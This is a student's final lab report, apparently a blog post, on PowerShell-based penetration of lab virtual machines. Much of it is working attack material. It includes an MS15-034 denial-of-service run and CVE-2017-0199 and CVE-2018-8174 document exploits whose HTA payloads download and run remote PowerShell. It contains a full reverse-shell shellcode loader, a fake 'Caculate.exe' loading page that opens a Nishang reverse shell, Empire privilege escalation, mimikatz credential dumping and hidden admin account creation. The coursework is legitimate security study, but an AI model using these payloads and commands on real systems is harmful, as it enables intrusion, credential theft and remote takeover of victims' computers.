2018-2019-2 20165330《網絡對抗技術》Exp10 Final 基於PowerShell的滲透實踐

目錄


實驗內容

返回目錄html


實驗步驟

1、PowerShell簡介

1.PowerShell是什麼

  • PowerShell,從名字能夠知道,它首先是一個shell,shell的意思就是和Linux的bash等同樣、和原來的cmd同樣即在裏邊敲命令(可執行文件)使用;而Power就意味它是一個功能強大的shell。
  • 其功能強大致如今如下幾方面:
    • Shell的簡單性,簡單的命令,即時與系統交互;另外微軟切實的推行PowerShell,包括Office等更多自家軟件,底層都是調用PowerShell來實現。
    • 兼容性cmd。PowerShell包含原先cmd的全部命令,原先命令使用形式不變,在是在其基礎上添加命令。
    • 對標Linux。PowerShell使用了Linux Shell的思想,也就是全部的系統操做、配置,均可以在shell中敲寫命令實現。

2.PowerShell做用

(1)與文件系統交互、運行應用程序python

  • 像在Dos中同樣,在PowerShell的交互界面上鍵入dir並回車,會顯示當前文件夾下的子文件夾和文件信息
    image
  • 能夠進入到應用程序或文件所在目錄下,使用.\名稱打開應用程序或文件
    image

(2)建立腳本linux

  • PowerShell支持將命令列表作成腳本文件來執行。在 Windows PowerShell 中,腳本文件的文件擴展名爲 .ps1。若要運行腳本,在命令提示符下鍵入該腳本的名稱,文件擴展名是可選的。
    • test:下面是hello.ps1腳本文件的內容git

      $a = "Hello"
      $a
      echo $a > a.txt
      dir a.txt
      這個腳本:先定義了一個變量,而後輸出這個變量的結果,再將這個變量的值寫入文件a.txt,最後輸出這個文件的屬性信息
    • 運行結果
      image程序員

(3)powershell 背後依靠的是一套完整的 .NET 編程體系,可以利用.Net類型和COM對象,這讓PowerShell可以最大限度的利用現有資源,而且很容易把.Net和COM程序員招徠到本身麾下github

  • 簡單類型:shell

    [int]$a = 10
    [String]$b = 10
  • .Net類型數據庫

    $Message = new-object Net.Mail.MailMessage("me@source.com","you@destination.com", "Subject", <br>  "Here is some email")
  • COM對象apache

    $myWord = new-object -comobject Word.Application
  • 建立了.Net或者COM的對象之後,就能夠利用這些對象的屬性和方法,來完成更加複雜的操做。編程

(4)任何函數與對象都可以經過help *命令來查看其幫助文檔(準確來講應該是Get-Help函數,這是更加「面向對象」化的命名方式,而help是它的別名),若是看不明白,加上-examples參數會有應用實例,若是仍看不明白,加上-online參數會打開完整的在線幫助文檔。

(5)PowerShell中兼容部分的cmd命令和unix/linux shell的命令
image

三、PowerShell特色

  • PowerShell腳本能夠運行在內存中,不須要寫入磁盤。
  • 能夠從另外一個系統中下載PowerShell腳卻本並執行。
  • 目前不少工具都是基於PowerShell開發的。不少安全軟件並不能檢測到PowerShell的活動
  • cmd.exe一般會被阻止運行,可是 PowerShell不會。
  • 能夠用來管理活動目錄
  • 這些特色使得PowerShell在得到和保持對系統的訪問權限時,成爲攻擊者首選的攻擊手段,利用PowerShell諸多特色,攻擊者能夠持續攻擊而不被輕易發現。

2、PowerShell入門學習

3、滲透工具介紹

一、經常使用的PowerShell攻擊工具

  • PowerSploit
    • PowerShell後期漏洞利用框架,經常使用於信息探測,特權提高,憑證竊取,持久化等操做。
  • Nishang
    • 基於PowerShell的滲透測試專用工具,集成了框架,腳本和各類payload,包含下載和執行,鍵盤記錄,DNS,延時命令等腳本。
  • Empire
    • 基於PowerShell的遠程控制木馬,能夠憑證數據庫中導出和跟蹤憑證信息,經常使用與提供前期漏洞利用的集成模塊,信息探測,憑據竊取,持久化控制。
  • PowerCat
    • PowerShell版的NetCat,傳說中的」瑞士軍刀」,能經過TCP和UDP在網絡中讀取數據,經過與其餘工具的結合和重定向,能夠在腳本中以多種方式使用。

二、Empire

三、Nishang

4、相關滲透實踐

一、ms15-034之Powershell版攻擊

  • ms15-034漏洞出在http.sys文件中,這個文件是IIS的一個重要組件,功能和特性對windows來講意義重大。利用HTTP.sys的安全漏洞,攻擊者只須要發送惡意的http請求數據包,就可能遠程讀取IIS服務器的內存數據,或使服務器系統藍屏崩潰。
  • ms15-034在metasploit有相應的攻擊模塊,auxiliary/dos/http/ms15_034_ulonglongadd模塊可直接形成服務器藍屏,auxiliary/scanner/http/ms15_034_http_sys_memory_dump檢測漏洞,發現僅針對:windoiws 8.1, 2012, or 2012R2有效。
  • 在PowerShell下,該代碼實現了對系統檢測是否有該漏洞以及dos攻擊。下面咱們來實踐:
    • 測試裝了windows2008的服務器是否有該漏洞

      Import-Module .\MS15034.psm1
      Test-MS15034 -Computer 192.168.80.132 -Windows2008
      image
      結果爲存在該漏洞
      • 檢測部分的代碼爲Test-MS15034部分
      try
      { $Result = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 0 -UpperRange 18446744073709551615 -UseSSL:$UseSSL }
      catch
      { Throw ('An error occured during the connection to http://{0}:{1}{2}' -f $Computer, $Port, $SrvPath) }
      
      Write-Verbose -Message $Result
      
      if (-not $Result.contains('Server: Microsoft'))
      { Write-Error -Message 'The server does not appear to be running HTTP.SYS' }
      elseif ($Result.contains('HTTP/1.1 416 Requested Range Not Satisfiable'))
      { 'This server is vulnerable to MS 15-034' }
      elseif ($Result.contains('HTTP Error 400. The request has an invalid header name.'))
      { 'The server is not vulnerable to MS 15-034' }
      elseif ($Result.contains('HTTP/1.1 404 Not Found'))
      { Write-Error -Message 'The provided path has not been found, check you have selected the right operating system, or specified a valid file in -ServerPath' }
      else { 'Some other error has occured ?!?!?' }
    • 執行拒絕服務攻擊

      Import-Module .\MS15034.psm1
      Invoke-MS15034DOS -Computer 192.168.80.132 -Windows2008

      瞬間藍屏重啓!!
      該部分的代碼在Invoke-MS15034DOS,執行時先測試被攻擊的服務器是不是有漏洞的,有漏洞它纔會執行攻擊。這裏僅執行dos攻擊,dos攻擊的http header須要被指定爲Range: bytes=0-18446744073709551615

      $null = Invoke-MS15034Helper -Computer $Computer -Port $Port -Path $SrvPath -LowerRange 18 -UpperRange 18446744073709551615 -UseSSL:$UseSSL
  • 查找資料,該漏洞同HTTP頭中的Range域有直接的關係,Range請求是HTTP協議中HTTP客戶端用於只獲取服務器上文件的某一部分數據的請求域。
    • IIS進程w3wp.exe接收到HTTP請求後,將數據緩存到內核中,並整合HTTP迴應頭,最後由http.sys組織數據包經由網絡內核組件發送出去。請求中包括Ranges對象的指定範圍,而緩存中則包含了http文件和大小信息等。
    • 在代碼中
      • $HTTPRequest = "GET {0} HTTP/1.1rnHost: stuffrnRange: bytes={1}-{2}rnrn" -f $Path, $LowerRange, $UpperRange定義HTTP的range請求
      • 使用$TCPStream.Write($EncodedRequest,0,$EncodedRequest.Length)來發送出通過編碼後的惡意HTTP請求
      • IIS收到請求後會返回信息,接收部分
      # Decode the response and then return it
      $HTTPResponse = [System.Text.Encoding]::ASCII.GetString($ReceiveBuffer,0,$TCPClientRBSize)

二、CVE-2017-0199結合PowerShell

  • CVE-2017-0199是2017年4月11日發佈的一個Microsoft Office RTF漏洞,當用戶打開包含嵌入式漏洞的文檔時,容許使用者下載並執行惡意的Visual Basic腳本。office使用用戶很是多,所以該漏洞可用做許多社工攻擊。
  • 受影響系統包括:Microsoft office 2016;Microsoft office 2013;Microsoft office 2010;Microsoft office 2007;
  • 在可訪問的服務器中建一個RTF空文件:echo ''>rtf.rtf
  • 新建一個word文檔,打開文檔找到插入-對象-由文件建立,加上http://xxxxxx/rtf.rtf,並勾選連接到文件,保存。(這裏的地址是一個可訪問的服務器的地址關於如何搭建服務器請看
    image
  • docx後綴換爲zip在打開,找到word-_rels-document.xml.rels,用記事本打開
    • 找到下面的代碼

      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/xx.rtf"
    • 修改成如下代碼後保存

      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://x.x.x.x/hta.hta"
  • 如今對一段反彈meterpreter的powershell語句進行base64編碼(爲了不一些特殊字符帶來的錯誤)

    powershell.exe -ep bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.80.129//rev.ps1'),rev
  • 在服務器中添加一個hta.hta文件,放到上面連接能訪問到的位置,並將上面編碼後的代碼插入到下面:

    <html>
    <head>
    <script>
      var c= 'powershell.exe -ep bypass -enc cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyBJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjgwLjEyOS8vcmV2LnBzMScpO3Jldg==';new ActiveXObject('WScript.Shell').Run(c,0);
    </script>
    </head>
    <body>
    <script>
     self.close();
    </script>
    </body>
    </html>
  • 在可訪問的服務器下,添加一個powershell腳本rev.ps1

    function rev {
    $c = @"
      [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
      [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
    "@
    try{
      $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
      $s.Connect('127.0.0.1', 5330) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
      $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
      while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
      for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
      $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
      [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
      $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400
     }
    catch {}
    }
    注意其中的$s.Connect('x.x.x.x', 2333)是msf監聽的地址和端口!
  • 如今msf下開啓監聽
    image
  • 運行docx文件,當跳出彈框選擇時已經彈回shell
    image

三、「沙蟲」二代漏洞(CVE-2017-8570)分析

  • 在以前的實驗中我有作過該漏洞實踐(連接),該漏洞爲Microsoft Office的一個遠程代碼執行漏洞。其成因是Microsoft PowerPoint執行時會初始化「Script」Moniker對象,而在PowerPoint播放動畫期間會激活該對象,從而執行sct腳本(Windows Script Component)文件。
  • 咱們查看樣本內部的ppt\slides\_rels\slide1.xml.rels文件,會發現其中Id爲rId3的是一個OLE對象,指向一個外部連接
    image
  • 該連接指向一個遠程服務器上的sct腳本文件,其內容以下,主要功能是經過powershell下載咱們用msfvenom生成的惡意代碼。
    image
  • 咱們查看監聽過程就能夠看到請求
    image
  • 靶機運行ppsx,就激活對象,kali方獲得下載請求,下載後發送惡意代碼

    with open(payloadlocation) as fin:
          data +=fin.read()
          onn.send(data)
          conn.close()
          sys.exit(1)
  • 查看ppt\slides\slide1.xml文件,其中rId3被定義爲一個link對象,並設置了verb行爲。verb的功能是在PowerPoint播放動畫時激活這個對象,從而執行遠程下載的腳本文件,因此咱們會看到在執行時閃退一個cmd框,其就在運行惡意powershell腳本。
    image

四、EMPIRE內置ms16-032漏洞

  • 該漏洞是Windows特權提高漏洞,若是 Windows 輔助登陸服務未能正確管理內存中的請求句柄,Microsoft Windows 中會存在一個特權提高漏洞。 成功利用此漏洞的攻擊者可以以管理員身份運行任意代碼。 攻擊者可隨後安裝程序;查看、更改或刪除數據;或者建立擁有徹底用戶權限的新賬戶。
  • 啓動Empire:./empire
  • 咱們按照以前的Final——PowerShell Empire拿到上線主機
    image
  • 與靶機交互:interact tcc
  • 內置模塊ms16-032提權

    usemodule privesc/ms16-032
    set Listener xiaobai
    execute
  • 查看返回結果
    image
    emm顯示個人主機沒有未捕獲有效的線程句柄,看來是有相關補丁,咱們換一個系統
  • 而除了上面方式,該漏洞有對應腳本(連接),如今換種方式對win7虛擬機進行ms16-032漏洞提權。
    • 調用腳步:. .\Invoke-MS16-032
    • 執行提權:Invoke-MS16-032
    • 結果顯示錯誤提示系統須要有2個以上的CPU核心,正在退出!
      image
  • 查閱資料才知道ms16-032漏洞提權須要兩個條件

    目標系統須要有2個以上的CPU核心
    PowerShell v2.0及更高版本必須正在運行
  • 因此對虛擬機的處理器進行修改修改成2個處理器
    image
  • 重啓win7後從新提權:Invoke-MS16-032,成功!獲得一個最高權限!
    image
  • 下面就能夠進行一些操做了
    • 添加新用戶:net user 1 1 /add
    • 給新用戶賦予最高權限:net localgroup administrators 1 /add
  • 咱們試着遠程登錄另外一臺計算機(目標機要開啓遠程登錄功能,參考遠程桌面鏈接
    • 輸入命令:mstsc
    • 輸入目標的IP
      image
    • 輸入密碼後登錄入系統
      image

五、"震網三代" CVE-2017-8464

  • 該漏洞原理:Windows系統經過解析 .LNK 後綴文件時,是使用二進制來解析的,而當惡意的二進制代碼被系統識別執行的時候就能夠實現遠程代碼執行,因爲是在explorer.exe進程中運行的,因此load進內存的時候與當前用戶具備相同的權限。因而攻擊者利用這一解析過程的漏洞,將包含惡意二進制的代碼被附帶進可移動驅動器(或遠程共享過程當中),受害者使用powershell解析 .LNK 文件後就會被黑客所控制。
  • 影響版本:Windows 七、Windows 8.一、Windows RT 8.一、Windows 十、Windows Server 200八、Windows Server 2008 R二、Windows Server 20十二、Windows Server 2012 R二、Windows Server 2016
  • 使用Empire工具對Win7系統進行攻擊
    • 咱們先生成Windows可以識別的.bat腳本文件

      usestager windows/launcher_bat
      set Listener tc
      execute
    • 使用記事本打開bat腳本時,能夠看到,惡意二進制代碼使用base64加密
      image
  • 將這此.bat文件在Windows中運行,回到監聽端口就能夠看到目標主機已經上線
    image
  • 接下來咱們進入監聽的win7,進行進一步的提權操做
    • 與靶機交互:interact 名稱
    • 使用模塊:usemodule code_execution/invoke_shellcode
      能夠將shell彈回msf進行提權,要注意所設置的LPORTLHOST與msf設置的同樣。
      image
      image
      這裏我沒有回彈成功,我就繼續使用Empire進行提權吧
    • 使用mimikatz獲取用戶明文密碼
      image
    • 獲取靶機剪切板內容:usemodule collection/clipboard_monitor
      image
    • 執行文件中的調試器usemodule lateral_movement/invoke_wmi_debugger
      image
  • 另外查閱資料找到一位做者寫的用腳本復現
    • LNKOutPath:本地保存LNK文件的全路徑。
    • TargetCPLPath:本地/遠程目標cpl的全路徑。
    • 使用:Export-LNKPwn -LNKOutPath C:\Users\ASUS\Desktop\aaa\bbb\Path.lnk -TargetCPLPath C:\Users\ASUS\Desktop\Path.cpl -Type SpecialFolderDataBlock

六、「雙殺」0day漏洞 CVE-2018-8174

  • CVE-2018-8174是Windows VBScriptEngine代碼執行漏洞,因爲 VBScript 腳本執行引擎(vbscript.dll)存在該漏洞,攻擊者能夠將惡意的VBScript嵌入到Office文件或者網站中,一旦用戶受誘導或不慎點擊惡意連接或文檔,攻擊者即可遠程獲取當前用戶系統權限,進而徹底控制用戶電腦。
  • 構造HTA文件,當訪問hta文件就會觸發powershell下載文件至臨時目錄執行(利用 mshta 從遠程服務器下載文件執行)。

    <script>
     a=new ActiveXObject("WScript.Shell");
     a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://10.0.0.216/test.hta\', \'c:/windows/temp/mshta.exe\'); c:/windows/temp/WINWORD.exe', 0);
     window.close();
     </script>
  • kali下把test.hta文件放在/var/www/html目錄下
  • 使用msfvenom生成js Shellcodemsfvenom -p windows/exec cmd='mshta http://10.0.0.230/test.hta' -f js_le exitfunc=thread -a x86
    image
  • 下載 metasploit 模塊到本地:git clone https://github.com/0x09AL/CVE-2018-8174-msf.git
    • CVE-2018-8174.rb複製到 fileformat目錄:cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
    • CVE-2018-8174.rtf複製到 exploits目錄:cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
  • 下載CVE-2018-8174 python腳本:git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
  • 把生成的Shellcode字符替換至 CVE-2018-8174.py該行代碼處
    image
  • 生成Word文檔:python CVE-2018-8174.py -u http://10.0.0.230/exploit.html -o exp.rtf
  • 將生成的網頁和文檔放入/var/www/html目錄下
  • 開啓apache服務:service apache2 start
  • 由於個人rtf文件打開有問題,我就直接用靶機瀏覽器訪問http://10.0.0.230/exploit.html下載執行test.hta文件,並提早開好開啓wireshark抓包。(這是以前用另外一臺kali10.0.0.216時抓的包)
    image
    緊接着,咱們就看到執行了test.hta文件,
    image
  • 如今咱們利用以前的實踐學習修改test.hta,獲取反彈shell,內容以下:

    <body>
      <title>XXX-exp</title>
      <center>
      <h1>Caculate.exe</h1>
      <br>
      <h2>Loading...</h2>
     <br>
     [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
     <br>
     </center>
     <script language="VBScript">
      Set Hackdo = CreateObject("Wscript.Shell")
      Set Check = CreateObject("Scripting.FileSystemObject")
      If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
       Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide
      Hackdo.Run "taskkill /f /im mshta.exe"
     End If
     </script>     
      </body>
      </html>
  • 靶機從新訪問http://10.0.0.230/exploit.html
  • kali下監聽端口:nc -lvvp 5330,發現獲取shell
    image

返回目錄


PowerShell利用現狀

  • 近些年利用PowerShell執行惡意代碼的攻擊頻繁發生。此類型攻擊利用受害者系統受信任程序的特色,達到系統應用白進程執行惡意代碼,從而使受害者難以發現。
  • 攻擊者一般是利用爆出已久的高危安全漏洞來進行攻擊,其中Weblogic反序列化漏洞、MS17-0十、Struts2系列漏洞都備受攻擊者青睞。部分攻擊者還會結合社工,釣魚的方式利用惡意郵件,並結合Office宏來執行惡意代碼,進一步實施攻擊。據統計,攻擊者在入侵成功後,最喜歡投放的是挖礦木馬,其次爲勒索病毒,這與數字貨幣當前的熱潮有直接關係。

返回目錄


實驗中遇到的問題

  • 使用PowerShell執行本身建立的腳本時,提示沒法加載文件,由於在此係統中禁止執行腳本。有關詳細信息,請參閱 "get-help about_signing"

    解決方法:經過查找資料知道這是爲了防止惡意腳本執行,powershell默認安全設置裏禁用了執行腳本,要啓用這個功能須要擁有管理員的權限。因此咱們須要在管理員身份運行的PowerShell下輸入set-ExecutionPolicy RemoteSigned改變執行策略,修改爲功後就能夠在普通用戶下運行腳本啦!

  • 在使用Empire運行./empire時報錯ImportError: No module named iptools
    image

    解決方法:python庫中缺乏該模塊,使用pip install 模塊名稱來下載便可,繼續運行./empire,直至再也不報錯。

  • 導入Nishang框架時報錯由於缺乏腳本的「#requires」語句指定的如下模塊: ActiveDirectory

    解決辦法:在電腦中找到控制面板-程序-啓用或關閉windows功能,在功能列表中找到Active Directory輕型目錄服務,選中後點擊肯定按鈕便可。

  • 用PowerShell遠程下載服務器中的腳本文件時,出現錯誤提示遠程服務器返回錯誤: (404) 未找到

    解決方法:參考「遠程服務器返回錯誤: (404) 未找到」的正確解決方法,打開IIS管理器,找到MIME類型,添加一個MIME的類型:擴展名:.* 類型:application/octet-stream


實驗總結與體會

  • 到如今一學期的網絡對抗就結束了,這門課也帶給我不同的體會,在以前的實驗課裏,我體驗到不本身動手去實踐,是真的不會懂實驗的原理是什麼,驗收的時候也是檢驗是否真的實踐的方式,從第一次驗收的有點不知所措,到後來清晰老師的問題,明白是什麼怎麼作,個人實踐能力也潛移默化的提升了!本次免考一開始是在網上找資料想本身要作什麼,偶然就看到了powershell,覺得只是跟cmd差很少,在完成免考的過程當中,才知曉它的強大,從它獨立的語言看起,到綜合資料完成一步步的攻擊實踐,我其實也還只是嘗試了它的一角,如今各類病毒也正朝powershell的特色,悄無聲息的攻擊網絡達到目的,也讓我意識到在網絡世界掌握必要的安全技術的重要性,同時咱們所學的專業也有所涉及,但願在從此的學習中能夠更多發掘對專業的認識,繼續鍛鍊實踐能力,嘗試更多本身沒有想過的東西!

參考資料

相關文章
相關標籤/搜索